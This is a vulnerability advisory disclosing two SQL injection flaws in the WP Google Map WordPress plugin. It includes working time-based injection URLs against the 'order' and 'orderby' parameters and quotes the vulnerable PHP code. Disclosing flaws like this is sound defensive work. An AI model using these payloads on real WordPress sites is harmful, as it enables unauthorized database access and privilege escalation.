DefenseCode ThunderScan SAST Advisory: WordPress WP Google Map Plugin
 Multiple SQL injection Security Vulnerabilities


Advisory ID:    DC-2018-05-002
Advisory Title: WordPress WP Google Map Plugin Multiple SQL injection
 Vulnerabilities
Advisory URL:   http://www.defensecode.com/advisories.php
Software:       WordPress WP Google Map plugin
Language:       PHP
Version:        4.0.4 and below
Vendor Status:  Vendor contacted, no response
Release Date:   2018/06/12
Risk:           High



1. General Overview
===================
During the security audit of WP Google Map plugin for WordPress CMS,
multiple SQL injection vulnerabilities were discovered using
DefenseCode ThunderScan application source code security analysis
platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com


2. Software Overview
====================
According to the plugin developers, WP Google Map is #1 Google Maps
plugin for WordPress. It allows you to create google maps shortcodes
to display responsive google maps on pages, widgets and custom
templates.

According to wordpress.org, it has more than 100,000 active installs.

Homepage:
https://wordpress.org/plugins/wp-google-map-plugin/
https://www.wpmapspro.com/


3. Vulnerability Description
============================
During the security analysis, ThunderScan discovered SQL injection
vulnerabilities in WP Google Map WordPress plugin.

The easiest way to reproduce the vulnerabilities is to visit the
provided URL while being logged in as administrator or another user
that is authorized to access the plugin settings page. Users that do
not have full administrative privileges could abuse the database
access the vulnerabilities provide to either escalate their privileges
or obtain and modify database contents they were not supposed to be
able to.

Due to the missing nonce token, the vulnerable code is also directly
exposed to attack vectors such as Cross Site request forgery (CSRF).

3.1 SQL injection
  Vulnerable Function:  $wpdb->get_results()
  Vulnerable Variable:  $_GET['order']
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&orderby=location_address&order=asc
PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)
  File:                 wp-google-map-plugin/core/class.tabular.php
  ---------
  520 $order   = ( ! empty( $_GET['order'] ) ) ? wp_unslash(
$_GET['order'] ) : 'asc';
  ...
  522 $query_to_run .= " order by {$orderby} {$order}";
  ...
  530 $this->data = $wpdb->get_results( $query_to_run );
  ---------

3.2 SQL injection
  Vulnerable Function:  $wpdb->get_results()
  Vulnerable Variable:  $_GET['orderby']
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&order=asc&orderby=location_address%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
  File:                 wp-google-map-plugin/core/class.tabular.php
  ---------
  519 $orderby = ( ! empty( $_GET['orderby'] ) ) ? wp_unslash(
$_GET['orderby'] ) : $this->primary_col;
  ...
  522 $query_to_run .= " order by {$orderby} {$order}";
  ...
  530 $this->data = $wpdb->get_results( $query_to_run );
  ---------


4. Solution
===========
All users are strongly advised to update WordPress WP Google Map
plugin to the latest available version as soon as the vendor releases
an update that fixes the vulnerabilities.


5. Credits
==========
Discovered by Neven Biruski using DefenseCode ThunderScan source code
security analyzer.


6. Disclosure Timeline
======================
2018/05/11   Vulnerabilities discovered
2018/05/16   Vendor contacted
2018/06/08   No response
2018/06/12   Advisory released to the public


7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website
http://www.defensecode.com/ .

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/